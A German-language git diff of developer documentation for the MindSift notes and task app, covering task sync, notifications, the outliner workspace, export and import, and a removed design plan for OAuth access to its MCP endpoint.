- **Abgleich verknüpfter Aufgaben** ([task_doc_sync.go](../../internal/storage/task_doc_sync.go)): Haken und Titel gehen in beide Richtungen (Notiz → Aufgabe in `ReconcileDocTaskLinks` nach jeder Notiz-Änderung, Aufgabe → Notiz in `SyncTaskToDoc` nach jeder Aufgaben-Änderung). Unteraufgaben gehören zur Verknüpfung: Jede ist 1:1 mit einem Häkchen derselben Notiz verbunden (`subtasks[].blockId`, Badge „Unteraufgabe“, `DocumentBlock.subtaskOf`), auch wenn es verschoben oder anders eingerückt wird. Neue Unteraufgaben bekommen ein Häkchen direkt unter dem Haupt-Häkchen; neue Häkchen direkt eine Ebene darunter werden Unteraufgaben (tiefer eingerückte bleiben Notiz). Löschen wird nicht abgeglichen: Ein gelöschtes Häkchen löst nur die Verknüpfung, eine gelöschte Unteraufgabe lässt ihr Häkchen stehen. Ein Häkchen, das in eine andere Notiz wandert, bekommt dort eine neue ID und verliert damit die Verknüpfung. Die Sync-Antwort der Notiz liefert `taskLinks` und `subtaskLinks`, damit die Badges sofort stimmen.
- Aufgaben lassen sich in eine Notiz umwandeln („Als Notiz vertiefen“). Aufgaben aus Notiz-Checkboxen (`enhanced-task`) bleiben verknüpft: Abhaken wirkt in beide Richtungen (`SyncDocBlockAndTask`), „In Notiz öffnen“ springt zum Block.
## Aufgabenlisten und Freigabe
@@ -29,7 +25,7 @@ Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus
- Gespeichert in `task_assignees`; `PATCH /thoughts/{id}` mit `assignees` ersetzt die Liste. Der Server lehnt Personen ohne Zugriff ab (`403`, `storage.ErrAssigneeNoAccess`).
- **Zuweisungen folgen den Rechten:** `Store.PruneTaskAssignees` entfernt jede Zuweisung, deren Person die Liste nicht mehr sehen kann. Es läuft nach Entfernen einer Freigabe, Austritt aus oder Entfernen aus einer Gruppe, Löschen einer Gruppe, Löschen der Liste und Verschieben der Aufgabe in eine andere oder keine Liste; beim Löschen eines Kontos werden dessen Zuweisungen direkt gelöscht. Wer über einen zweiten Weg (z. B. direkt und über eine Gruppe) weiter Zugriff hat, bleibt zugewiesen.
- Wer sehen und zuweisen kann, hängt außerdem von der Sichtbarkeit ab: Verliert jemand sie (z. B. Wechsel der Organisation), fallen Freigabe und Zuweisungen weg ([sharing-and-permissions.md](../sharing-and-permissions.md)).
- **Aufgaben beobachten (`task_watchers`):** Im Detail-Fenster lässt sich eine Aufgabe über „Beobachten“ abonnieren (`POST /tasks/{id}/watch`, `DELETE /tasks/{id}/watch`). Jede Änderung an einer beobachteten Aufgabe wird dem Beobachter über seine konfigurierten Benachrichtigungskanäle gemeldet.
- Bekannte Lücke: [FLAW-03](../flaws.md) (Umsortieren per ID).
## Wiederkehrende Aufgaben
@@ -50,7 +46,7 @@ Der Ticker läuft jede Minute ([architecture.md](../architecture.md)). Für offe
| Discord | Webhook-URL | Benutzereinstellungen |
| Webhook | beliebige URL (JSON: `event`, `title`, `notes`, `dueDate`, `priority`, `timestamp`) | Benutzereinstellungen |
Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war. Neben Fälligkeits-Alarmen (die sofort versendet werden) unterstützt MindSift granulare Benachrichtigungen für Freigaben, erledigte geteilte Aufgaben und beobachtete Aufgaben, die über `notification_queue` gebündelt nach `NOTIFY_DIGEST_MINUTES` versendet werden ([architecture.md](../architecture.md#benachrichtigungen)).
Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich war.
**E-Mail-Versand** ([mail.go](../../internal/api/mail.go)) führt den SMTP-Dialog Schritt für Schritt:
@@ -61,6 +57,6 @@ Danach wird `alarm_sent = 1` gesetzt, sobald mindestens ein Kanal erfolgreich wa
- `SMTP_SKIP_VERIFY` / Schalter „Zertifikatsprüfung deaktivieren“ akzeptiert selbstsignierte Zertifikate (Verbindung bleibt verschlüsselt).
- Fehler nennen den Schritt, an dem der Server abgelehnt hat (z. B. `SMTP-Schritt RCPT TO fehlgeschlagen: 451 …`), im Log als `smtp_step`. Test: `internal/api/mail_test.go` mit einem Fake-Server (STARTTLS, 451).
Eine neue Fälligkeit oder das Wiederöffnen einer Aufgabe setzt `alarm_sent` zurück, der Alarm kommt dann erneut. Schlagen alle Kanäle fehl, versucht der Ticker es in den nächsten Minuten erneut und gibt nach 3 erfolglosen Durchläufen auf (`alarm_failures`, Warnung im Server-Log); eine neue Fälligkeit oder das Wiederöffnen gibt wieder 3 Versuche. URLs werden geprüft.
Eine neue Fälligkeit oder das Wiederöffnen einer Aufgabe setzt `alarm_sent` zurück, der Alarm kommt dann erneut. Schlagen alle Kanäle fehl, versucht der Ticker es in den nächsten Minuten erneut und gibt nach 3 erfolglosen Durchläufen auf (`alarm_failures`, Warnung im Server-Log); eine neue Fälligkeit oder das Wiederöffnen gibt wieder 3 Versuche ([FLAW-12](../flaws.md)). URLs werden geprüft ([FLAW-05](../flaws.md)).
Die Oberfläche zeigt Fälligkeiten relativ („Heute, 14:30“, „Morgen“, „Fr., 30.10.“); überfällige offene Aufgaben (mit Uhrzeit minutengenau) sind rot. Gruppieren und Sortieren nach Fälligkeit berücksichtigen die Uhrzeit, ganztägige Aufgaben stehen vor denen mit Uhrzeit am selben Tag.
+2 -4
View File
@@ -5,8 +5,8 @@ Ziel: Gedanken in Sekunden festhalten und später in Ruhe sortieren. Code: [Inst
## Erfassung
- Die Eingabeleiste sitzt im Header; `C` oder `/` fokussiert sie (außer beim Tippen in einem Feld).
- Ziel (`target`): **Posteingang** (`inbox`, Standard), **Direkt-Aufgabe** (`task`, mit Aufgabenliste), **Listeneintrag** (`list_item`, mit Zielliste) oder **Direkt-Notiz** (`document`). Im aufgeklappten Bereich wählen Ziel und Liste nur aus; gespeichert wird mit Enter bzw. dem Knopf. Ziel und Liste bleiben nach dem Abschicken eingestellt (je Browser-Tab).
- Mehrzeilige Eingabe wird unterstützt. Spracheingabe nutzt `useVoiceInput` (Whisper-Server oder Spracherkennung des Browsers, je nach Kontoeinstellung): Mit Whisper geht die Aufnahme schon beim Sprechen in Stücken zur Erkennung (`chunked`), die Browser-Erkennung endet nach 5 s Stille. Quelle `voice` fügt den Tag `#diktat` an.
- Ziel (`target`): **Posteingang** (`inbox`, Standard), **Direkt-Aufgabe** (`task`), **Listeneintrag** (`list_item`, mit Zielliste) oder **Direkt-Notiz** (`document`).
- Mehrzeilige Eingabe wird unterstützt. Spracheingabe nutzt die Web Speech API des Browsers; Quelle `voice` fügt den Tag `#diktat` an.
- Quelle `webhook` (per API-Key/Webhook) fügt den Tag `#webhook` an. Hashtags im Text werden als Tags extrahiert (`domain.ExtractTags`).
- Per API: `POST /inbox` und `POST /webhooks/ingest` (siehe [rest.md](../api/rest.md)).
@@ -33,6 +33,4 @@ inbox ──keep──▶ kept ──convert──▶ converted (task | document
└─discard─▶ discarded ──restore──▶ inbox (Papierkorb leeren: DELETE /thoughts/discarded/purge)
```
Verworfene Gedanken liegen im eigenen **Papierkorb der Triage** ([TriageTrash.tsx](../../frontend/src/features/triage/TriageTrash.tsx)): Knopf oben in der Triage, am Handy im Menü. Dort lassen sie sich zurückholen, einzeln oder alle endgültig löschen. Nach der Frist aus Kontoeinstellungen → Aufbewahrung (Standard 14 Tage, gezählt ab dem Verwerfen, `triaged_at`) löscht der Server sie.
Ein Gedanke mit `status = kept` zählt bereits als Aufgabe und erscheint in der Aufgabenansicht.
+11 -18
View File
@@ -1,6 +1,6 @@
# Modul: Workspace (Outliner-Notizen)
Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.tsx) (Explorer, Tags, To-Do-Rollup), [DocumentEditor.tsx](../../frontend/src/features/workspace/DocumentEditor.tsx), [OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx), [OutlinerBlock.tsx](../../frontend/src/features/workspace/OutlinerBlock.tsx), [CodeBlockEditor.tsx](../../frontend/src/features/workspace/CodeBlockEditor.tsx), [LinkModal.tsx](../../frontend/src/features/workspace/LinkModal.tsx); Backend: Dokument-, Ordner- und Tag-Handler, Sync-Handler in `internal/api/docsync.go`, `internal/collab`, `internal/storage/docsync.go`.
Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.tsx) (Explorer, Tags, To-Do-Rollup), [DocumentEditor.tsx](../../frontend/src/features/workspace/DocumentEditor.tsx), [OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx), [OutlinerBlock.tsx](../../frontend/src/features/workspace/OutlinerBlock.tsx), [CodeBlockItem.tsx](../../frontend/src/features/workspace/CodeBlockItem.tsx), [LinkModal.tsx](../../frontend/src/features/workspace/LinkModal.tsx); Backend: Dokument-, Ordner- und Tag-Handler, Sync-Handler in `internal/api/docsync.go`, `internal/collab`, `internal/storage/docsync.go`.
## Datenhaltung
@@ -15,11 +15,7 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
- **Outliner:** `Enter` neuer Block, `Tab`/`Shift+Tab` ein-/ausrücken, `Shift+Enter` weicher Umbruch, Blöcke ein-/ausklappen.
- **Zoom (Hoisting):** Klick auf den Bullet fokussiert den Ast; die Breadcrumb-Leiste führt zurück.
- **Drag & Drop** verschiebt Blöcke samt Unterästen; auf einen anderen Block gezogen, wird der Block zum Unterpunkt.
- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code` (mit Syntax-Highlighting im VS-Code-Stil), `/callout`, `/divider`, `/extract` (Ast als eigene Notiz auslagern), `/image` (Bilder einfügen/hochladen, Aliase `/bild`, `/foto`), `/audio` (Sprachnotiz/Audiodatei, Alias `/sprachnotiz`), `/diktat` (Spracheingabe mit Live-Mitschreiben, Alias `/dictate`) (Liste in `OutlinerBlock.tsx`). Das Menü öffnet sich nur am Textanfang oder nach einem Leerzeichen und schließt mit `Esc` oder `Backspace`.
- **Link-Vorschau:** Besteht ein Bulletpoint ausschließlich aus einer einzelnen `https`-Adresse (oder wurde über `/link` in einem leeren Punkt eingefügt), zeigt MindSift darüber eine interaktive Vorschaukarte (`LinkPreviewCard`, serverseitig via `/link-preview`). ✕ blendet die Karte aus und wandelt die Adresse synchronisiert in `[Titel](url)` um.
- **Ast auslagern (`/extract`):** Wandelt den aktuellen Punkt samt Unterpunkten in eine eigenständige Notiz im selben Ordner um. Der Server legt die Notiz an und liefert den Link zurück; der Editor ersetzt den Ast lokal über die Sync-Engine als eigene Operation (Strg+Z nimmt die Auslagerung zurück und legt die neue Notiz via `POST /documents/{id}/extract/undo` in den Papierkorb).
- **Notiz zurückholen:** Besteht ein Punkt nur aus einem Link auf eine Notiz (wie nach `/extract`), zeigt seine Knopfleiste „Notiz zurückholen“. `POST /documents/{id}/inline` liefert die Punkte der verlinkten Notiz und legt sie in den Papierkorb; der Editor setzt den Titel (mit den Hashtags des Links) wieder als Text ein und fügt die Punkte als Unterpunkte ein, vor eventuell schon vorhandenen. Strg+Z oder „Rückgängig“ stellt den Link wieder her und holt die Notiz aus dem Papierkorb. Nur mit eigenen Notizen, und nicht, solange andere Notizen sie noch verlinken.
- **Notizen zusammenführen (Merge):** Per Drag & Drop einer Notiz auf eine andere in der Seitenleiste oder über das Drei-Punkte-Menü im Notizkopf („Mit anderer Notiz zusammenführen…“). Die eigene Quellnotiz wird als `h2`-Abschnitt angehängt und in den Papierkorb verschoben; der Hinweis bietet vollständiges Rückgängigmachen (`POST /documents/{id}/merge/undo`).
- **Slash-Befehle:** `/todo`, `/link`, `/h1`, `/h2`, `/h3`, `/code`, `/callout`, `/divider` (Liste in `OutlinerBlock.tsx`).
- **Rückverweise:** Unter jeder Notiz listet „Verlinkt auf diese Notiz (n)“ alle Notizen mit `[[Titel]]` (auch `[[Titel|Text]]`, `[[Titel#Abschnitt]]`, Groß-/Kleinschreibung egal) samt Fundstelle; ein Klick springt direkt zum Bullet. Ohne Rückverweise bleibt der Bereich unsichtbar, eingeklappt merkt er sich im Browser ([BacklinksSection.tsx](../../frontend/src/features/workspace/BacklinksSection.tsx), `GET /documents/{id}/backlinks`).
- **Links:** `[[Notiztitel]]`, Markdown-Links `[Titel](url)` und reine URLs werden als Token dargestellt; `LinkModal` hilft beim Verknüpfen von Notizen.
- **Einfügen:** Mehrzeiliger Text wird anhand von Markdown-Präfixen und Einrückung in Blöcke zerlegt; Überschriften gruppieren darunterliegenden Text und Code.
@@ -37,15 +33,12 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
- **Konfliktkopien** sind farbig markiert („Konflikt – Version von …“) mit „Übernehmen“ (Text ersetzt den ursprünglichen Punkt bzw. den Titel, die Kopie verschwindet) und „Verwerfen“.
- **Rückgängig:** `Strg+Z`/`Cmd+Z` nimmt die eigene letzte Änderung zurück, `Strg+Umschalt+Z` oder `Strg+Y` wiederholt (auch im Titel und über das Kontextmenü/mobile Tastaturen). Tippen im selben Punkt bis 1 s Pause ist ein Schritt; bis zu 200 Schritte je Tab. Hat jemand anderes den Punkt inzwischen geändert oder hält ihn gesperrt, wird der Schritt mit Hinweis übersprungen.
- `PUT /documents/{id}` ändert nur noch Symbol, Anheften und Ordner (Titel wird ins Log übernommen); Inhalte laufen ausschließlich über die Engine. Das To-Do-Rollup hakt per einzelner Operation über denselben Sync-Endpunkt ab.
- **Notiz-Icon (Emoji-Picker):** Vollständiger Emoji-Katalog mit Kategoriereitern, Suche, Verlauf zuletzt verwendeter Symbole (`localStorage`) und Farben aus dem Theme. Am PC kompakt wie ein Kontextmenü auf eigener Fläche, ohne Titelleiste; auf Mobilgeräten (< 640 px) als Bottom-Sheet mit touch-freundlichen Zielen (≥ 44 px) und `text-base`-Suchfeld (verhindert iOS-Zoom). Derselbe Auswähler dient beim Anlegen von Notizen, Aufgabenlisten und Listen (`EmojiIconButton`). „Entfernen“ lässt das Icon ganz weg; ohne Icon steht nur der Titel. Neue Notizen starten mit 🗒️.
- **Markieren über mehrere Punkte** ([OutlinerTree.tsx](../../frontend/src/features/workspace/OutlinerTree.tsx)): Mit der Maus von einem Punkt in einen anderen ziehen markiert Text über Punktgrenzen (CSS Highlight API, sonst eingefärbte Zeilen). Entf/Backspace löscht wie ein Texteditor (Rest des ersten und letzten Punkts werden ein Punkt, Punkte dazwischen samt Unterpunkten gehen, Unterpunkte des letzten wandern unter den ersten) in einem Schritt (`onReplaceRange`, ein `Strg+Z` holt alles zurück); ein Zeichen ersetzt die Markierung, `Strg+C`/`Strg+X` kopieren bzw. schneiden aus.
- **Notiz-Icon (Emoji-Picker):** Vollständiger Emoji-Katalog mit Kategoriereitern, Suche, Verlauf zuletzt verwendeter Symbole (`localStorage`) und dynamischer Theme-Anpassung. Auf Mobilgeräten (< 640 px) als Bottom-Sheet mit touch-freundlichen Zielen (≥ 44 px) und `text-base`-Suchfeld (verhindert iOS-Zoom).
## Explorer, Tags, To-Dos
- Ordnerbaum mit Favoriten (`doc_pins`), Verschieben per Drag & Drop (`/documents/{id}/move`, `/folders/move`). Ordner zeigen ihren Zustand am offenen bzw. geschlossenen Ordnersymbol (kein Pfeil).
- **Mehrere Notizen** (PC): Strg/Cmd+Klick markiert einzeln, Shift+Klick einen Bereich in der angezeigten Reihenfolge (eine angeheftete Notiz steht zweimal im Baum; der Bereich beginnt an der Stelle, die angeklickt wurde); ein normaler Klick, Escape oder ein Klick ins Leere hebt die Markierung auf. Wer eine markierte Notiz zieht, nimmt alle markierten mit, in einen Ordner oder auf den Papierkorb (Zusammenführen gibt es dabei nicht).
- **Auf den Papierkorb ziehen** (auch eine einzelne Notiz, am Handy per langem Drücken wie beim Verschieben in Ordner) verschiebt in den Papierkorb; der Hinweis bietet „Rückgängig“.
- **Tags:** Alle `#Hashtags` werden aggregiert (`/workspace/tags`). Eine Tag-Seite trägt eine eigene Freitext-Notiz (`tag_pages`) und zeigt darunter jede Notiz mit Fundstellen als feste Überschrift und darunter den echten Outliner der Punkte mit dem Hashtag samt Unterpunkten (`DocumentEditor` mit `variant="tag"`, je Notiz eine eigene Sync-Verbindung, erst beim Hineinscrollen geladen). Bearbeiten wirkt direkt in der Notiz; ein Punkt ohne Hashtag (entfernt oder neu per Enter) bleibt sichtbar, solange der Cursor darin steht, und verschwindet, sobald er ihn verlässt. Die Reihenfolge der Notizen bleibt, solange die Seite offen ist.
- Ordnerbaum mit Favoriten (`doc_pins`), Verschieben per Drag & Drop (`/documents/{id}/move`, `/folders/move`).
- **Tags:** Alle `#Hashtags` werden aggregiert (`/workspace/tags`). Eine Tag-Seite zeigt alle Fundstellen gruppiert nach Notiz und kann eine eigene Freitext-Notiz tragen (`tag_pages`).
- **To-Do-Rollup:** Die Ansicht „To-Dos“ sammelt alle `todo`-Blöcke aller Notizen, filterbar nach Ordner. Abhaken im Rollup ändert den Block in der Notiz.
- **Enhanced Tasks:** Ein `todo`-Block lässt sich als verknüpfte Aufgabe führen (`/documents/{id}/blocks/{blockId}/enhanced-task`); Erledigt-Status bleibt zwischen Notiz und Aufgabenansicht synchron.
@@ -54,23 +47,23 @@ Code: [WorkspaceView.tsx](../../frontend/src/features/workspace/WorkspaceView.ts
- Löschen (einzeln oder mit dem Ordner) verschiebt eigene Notizen in den Papierkorb (`is_archived = 1`). Wer eine geteilte Notiz löscht, die ihm nicht gehört, verlässt nur die Freigabe.
- Notizen im Papierkorb fehlen im Baum, in Suche, Export und Statistik und sind für alle Empfänger unsichtbar (`DocRole` = keine Rolle). Eigentümer und Löschende sehen sie schreibgeschützt mit Hinweisleiste und „Wiederherstellen“; Umbenennen, Verschieben und Teilen werden abgelehnt.
- Eintrag „Papierkorb“ mit Zähler unten in der Ordnerleiste und im mobilen Menü. Die Liste zeigt Ordner und Löschzeitpunkt; „Endgültig löschen“ und „Papierkorb leeren“ brauchen einen zweiten Tipp.
- Wiederherstellen legt einen inzwischen gelöschten Ordner neu an; existiert ein geteilter Ordner nicht mehr, landet die Notiz auf der Hauptebene. Freigaben bleiben erhalten. Nach der Frist der Eigentümerin bzw. des Eigentümers (Kontoeinstellungen → Aufbewahrung, Standard 30 Tage ab dem Löschen) löscht der Server die Notiz endgültig ([retention.go](../../internal/storage/retention.go)).
- Wiederherstellen legt einen inzwischen gelöschten Ordner neu an; existiert ein geteilter Ordner nicht mehr, landet die Notiz auf der Hauptebene. Freigaben bleiben erhalten. Der Papierkorb leert sich nicht von selbst.
## Freigabe
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen freigeben – wahlweise mit der Rolle **Bearbeiter** (`write`) oder **Leser** (`read`) ([sharing-and-permissions.md](../sharing-and-permissions.md)). Bearbeiter ändern Inhalt und Struktur über die Sync-Engine; Leser sehen Änderungen live.
- Einzelne Notizen und ganze **geteilte Ordner** lassen sich an Benutzer oder Gruppen geben. Empfänger haben **nur Leserechte**; nur der Eigentümer schreibt ([sharing-and-permissions.md](../sharing-and-permissions.md), [FLAW-17](../flaws.md)).
- Empfänger ordnen geteilte Notizen und Ordner in ihrem eigenen Baum ein (`doc_user_folders`, `workspace_folder_mounts`), ohne dass der Eigentümer etwas davon merkt.
- Änderungen erreichen offene Fenster über den Weckruf `DOC_SEQ` und anschließenden Sync; Notizlisten über `DOC_UPDATED` ([websocket.md](../api/websocket.md)).
## Grenzen
- Keine gleichzeitige Bearbeitung im selben einzelnen Bullet (Sperren pro Bullet und Konfliktkopie statt Zeichen-für-Zeichen-Zusammenführung), keine Cursor-Anzeige fremder Eingaben, keine Versionshistorie.
- Keine gleichzeitige Mehrbenutzerbearbeitung, keine Cursor-Anzeige, keine Versionshistorie.
- Keine Virtualisierung langer Dokumente; sehr große Notizen können auf Mobilgeräten träge werden *(nicht gemessen)*.
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht.
- ~~Suche (`/search`) erfasst nur Titel und Inhalt eigener Notizen~~: Mit der globalen FTS5-Suche (`Cmd+K` / `Ctrl+K` / `/`) werden sowohl Titel als auch Block-Inhalte aller zugänglichen Notizen (eigene und freigegebene) durchsucht ([FLAW-18](../flaws.md)).
## Export als Markdown-Archiv
Kontoeinstellungen → Export & Import → „Markdown-Archiv herunterladen“ (`GET /export/markdown`, Code: [export_markdown.go](../../internal/storage/export_markdown.go)).
Kontoeinstellungen → Private Webhooks & Export → „Markdown-Archiv herunterladen“ (`GET /export/markdown`, Code: [export_markdown.go](../../internal/storage/export_markdown.go)).
- Ordner und Notizen so, wie der Nutzer sie sieht (eigene Ordner, eingehängte geteilte Ordner, mit ihm geteilte Notizen); leere Ordner bleiben erhalten.
- Jede Notiz: YAML-Frontmatter (`title`, `icon`, `tags`, `created_at`, `updated_at`) und Markdown, das Obsidian direkt darstellt: Überschriften, Trenner, Hinweisboxen (`> [!note]`) und Codeblöcke der obersten Ebene als echte Blöcke, ihre Kinder rücken eine Ebene nach vorn; alles andere als Liste mit einem Tab pro Ebene, To-dos als `- [ ]`.
@@ -79,7 +72,7 @@ Kontoeinstellungen → Export & Import → „Markdown-Archiv herunterladen“ (
## Import
Kontoeinstellungen → Export & Import → „Daten importieren“, mit **zwei getrennten Wegen** (Code: [import_markdown.go](../../internal/storage/import_markdown.go), [ImportCard.tsx](../../frontend/src/features/settings/ImportCard.tsx)):
Kontoeinstellungen → Private Webhooks & Export → „Daten importieren“, mit **zwei getrennten Wegen** (Code: [import_markdown.go](../../internal/storage/import_markdown.go), [ImportCard.tsx](../../frontend/src/features/settings/ImportCard.tsx)):
| Weg | Endpunkt | Dateien | Ergebnis |
|---|---|---|---|
-145
View File
@@ -1,145 +0,0 @@
# Plan: OAuth für den MCP-Zugang (Entwurf)
Stand 2026-11-01, **umgesetzt in v0.51.0**. Ziel: MindSift lässt sich in **claude.ai**, der Claude-App am Handy und **ChatGPT im Browser** als Connector eintragen. Diese Clients können keinen `X-API-Key`-Header setzen, sondern verlangen den OAuth-Ablauf aus der MCP-Spezifikation (Autorisierung, Stand 2025-06-18). MindSift wird dafür selbst zum OAuth-Server für seinen eigenen MCP-Endpunkt.
Nicht Teil dieses Plans: Anmelden **bei** MindSift über fremde Anbieter (OIDC), siehe [registrierung-und-login.md](registrierung-und-login.md), Abschnitt 4.
## Heute
- MCP-Endpunkt `POST /api/v1/mcp`, Anmeldung über `authMiddleware`: API-Schlüssel (`mindsift_sec_…`) als `X-API-Key` oder `Authorization: Bearer`, alternativ eine Sitzung.
- Ein Schlüssel hat Rechte (`tasks:read`, `lists:write` …), `mcpToolAllowed` zeigt nur die erlaubten Werkzeuge, Änderungen bekommen die Herkunft `mcp` mit dem Namen des Schlüssels.
- Die Sitzung liegt im Frontend im `localStorage`, nicht in einem Cookie. Der Server sieht beim reinen Aufruf einer Seite also nicht, wer angemeldet ist.
## So sieht es für Nutzer aus
1. In claude.ai: *Einstellungen → Connectors → Eigenen Connector hinzufügen*, Adresse `https://<instanz>/api/v1/mcp`.
2. Der Browser öffnet MindSift. Wer nicht angemeldet ist, meldet sich wie gewohnt an.
3. Eine Zustimmungsseite: **„Claude möchte auf dein MindSift zugreifen“**, darunter die Rechte als Häkchen (Aufgaben lesen, Aufgaben ändern, Listen lesen, Listen ändern, in die Inbox schreiben), vorbelegt mit dem, was der Client anfragt. Knöpfe **Erlauben** / **Ablehnen**.
4. Zurück in claude.ai sind die Werkzeuge da.
5. In *Einstellungen → API-Schlüssel* steht der Zugang als eigener Eintrag „Claude (OAuth)“ mit Rechten, „zuletzt benutzt“ und **Widerrufen**. Rechte ändern geht dort wie bei jedem Schlüssel.
Was der Agent anlegt, trägt wie heute das Abzeichen mit dem Namen des Eintrags.
## Grundidee: ein OAuth-Zugang ist ein API-Schlüssel
Die Zustimmung legt einen normalen Eintrag in `api_keys` an (neue Spalte `kind = 'oauth'`, dazu `oauth_client_id`). Ein Schlüssel-Geheimnis zum Abtippen gibt es dafür nicht: `key_hash` bekommt einen zufälligen Wert, den niemand kennt. Die Tokens hängen an diesem Eintrag.
Damit bleiben Rechteprüfung (`mcpToolAllowed`, `apiKeyRouteDenied`), Herkunft (`origin`), „zuletzt benutzt“, Umbenennen, Rechte ändern und Widerrufen unverändert. Wird der Eintrag gelöscht, fallen die Tokens per Fremdschlüssel mit.
## Endpunkte
Alle ohne Anmeldung erreichbar, außer der Zustimmung.
| Endpunkt | Zweck |
|---|---|
| `GET /.well-known/oauth-protected-resource` (auch mit Pfad-Anhang `/api/v1/mcp`) | Beschreibung der Ressource (RFC 9728): `resource`, `authorization_servers`, `scopes_supported` |
| `GET /.well-known/oauth-authorization-server` | Beschreibung des OAuth-Servers (RFC 8414): Endpunkte, `code_challenge_methods_supported: ["S256"]`, `grant_types_supported`, `token_endpoint_auth_methods_supported: ["none"]` |
| `POST /oauth/register` | Dynamische Client-Registrierung (RFC 7591), wie sie claude.ai und ChatGPT benutzen |
| `GET /oauth/authorize` | Liefert die App aus (wie jede Seite); die App zeigt die Zustimmung |
| `GET /api/v1/oauth/authorize` | Prüft die Parameter und liefert Client-Name, Rücksprungadresse und angefragte Rechte für die Zustimmungsseite (angemeldet) |
| `POST /api/v1/oauth/authorize` | Erlauben oder Ablehnen; gibt die Rücksprung-URL mit `code` und `state` (bzw. `error=access_denied`) zurück, die App leitet weiter (angemeldet) |
| `POST /oauth/token` | `authorization_code` gegen Tokens tauschen, `refresh_token` erneuern |
| `POST /oauth/revoke` | Token widerrufen (RFC 7009), optional, schadet nicht |
Am MCP-Endpunkt antwortet MindSift ohne gültiges Token mit `401` und
`WWW-Authenticate: Bearer resource_metadata="https://<instanz>/.well-known/oauth-protected-resource"`. Daran erkennen die Clients, dass sie den Ablauf starten müssen. Heute fehlt dieser Header.
Kein eigenes CORS für diese Endpunkte: claude.ai und ChatGPT rufen sie vom Server aus auf. Browser-Clients wie der MCP Inspector erreichen ohnehin auch den MCP-Endpunkt nicht, solange `BASE_URL` die erlaubten Ursprünge festlegt.
## Ablauf im Detail
**Registrierung:** Der Client schickt `client_name` und `redirect_uris`. MindSift speichert ihn in `oauth_clients` und gibt eine `client_id` zurück. Es gibt nur öffentliche Clients (kein Client-Geheimnis); die Sicherheit kommt aus PKCE und den festen Rücksprungadressen.
- Rücksprungadressen nur `https://…` oder `http://localhost`/`127.0.0.1` (Desktop-Clients), keine Fragmente.
- Bremse pro IP wie beim Login. Clients, die 24 Stunden nach der Registrierung noch keine Zustimmung bekommen haben, werden beim Aufräumen gelöscht.
**Zustimmung:** `response_type=code`, `client_id`, `redirect_uri` (muss exakt registriert sein), `code_challenge` mit `code_challenge_method=S256` (Pflicht), `state`, `scope` (optional), `resource` (RFC 8707, falls angegeben gleich `<BASE_URL>/api/v1/mcp`).
- Passen `client_id` oder `redirect_uri` nicht, zeigt die App einen Fehler und leitet **nicht** weiter. Alle anderen Fehler gehen als `error=…` an die Rücksprungadresse.
- Bei **Erlauben** legt MindSift den Eintrag in `api_keys` an (Name = `client_name` + „ (OAuth)“, Rechte = gewählte Häkchen). Hat dieselbe Person demselben Client schon zugestimmt, wird der vorhandene Eintrag weiterverwendet, und die Rechte werden aktualisiert, damit keine Doppelten entstehen.
- Der Code ist 10 Minuten gültig, nur einmal verwendbar und wird nur als Hash gespeichert.
**Token:** Der Tausch prüft Code, `client_id`, `redirect_uri` und `code_verifier`. Ergebnis:
- `access_token` `mindsift_oat_…`, 1 Stunde gültig
- `refresh_token` `mindsift_ort_…`, 90 Tage gültig, wird bei jeder Erneuerung ausgetauscht. Wird ein bereits ersetzter Refresh-Token noch einmal benutzt, verfallen alle Tokens dieses Eintrags (Schutz bei Diebstahl).
- `scope` mit den tatsächlich erteilten Rechten
**Nutzung:** `authenticateToken` erkennt `mindsift_oat_` und liefert Nutzer und `apiKeyAuth` des zugehörigen Eintrags. Ab da läuft alles wie bei einem Schlüssel. OAuth-Tokens gelten **nur für den MCP-Endpunkt** (dafür wurden sie ausgestellt), nicht für die REST-Endpunkte.
## Rechte (Scopes)
Die vorhandenen Rechte werden unverändert als OAuth-Scopes verwendet (`tasks:read`, `tasks:write`, `lists:read`, `lists:write`, `webhook:triage`; die schmalen `webhook:task`/`webhook:list` erscheinen auf der Zustimmungsseite nicht). Fragt ein Client kein `scope` an (claude.ai tut das meist nicht), sind auf der Zustimmungsseite **Lesen und Ändern für Aufgaben und Listen** vorbelegt; Inbox bleibt aus. Notizen bleiben wie heute unerreichbar.
## Datenbank
```sql
ALTER TABLE api_keys ADD COLUMN kind TEXT NOT NULL DEFAULT 'key'; -- key | oauth
ALTER TABLE api_keys ADD COLUMN oauth_client_id TEXT NOT NULL DEFAULT '';
CREATE TABLE oauth_clients (
id TEXT PRIMARY KEY, -- client_id
name TEXT NOT NULL,
redirect_uris TEXT NOT NULL, -- JSON-Array
created_at TEXT NOT NULL
);
CREATE TABLE oauth_codes (
code_hash TEXT PRIMARY KEY,
client_id TEXT NOT NULL,
key_id TEXT NOT NULL REFERENCES api_keys(id) ON DELETE CASCADE,
redirect_uri TEXT NOT NULL,
code_challenge TEXT NOT NULL,
expires_at TEXT NOT NULL
);
CREATE TABLE oauth_tokens (
token_hash TEXT PRIMARY KEY,
kind TEXT NOT NULL, -- access | refresh
key_id TEXT NOT NULL REFERENCES api_keys(id) ON DELETE CASCADE,
expires_at TEXT NOT NULL,
replaced_at TEXT NOT NULL DEFAULT '' -- refresh: wann ausgetauscht (Wiederverwendung erkennen)
);
```
Abgelaufene Codes und Tokens räumt der vorhandene Aufräum-Lauf weg. Als Migration über `schema_migrations`.
## Voraussetzungen und Grenzen
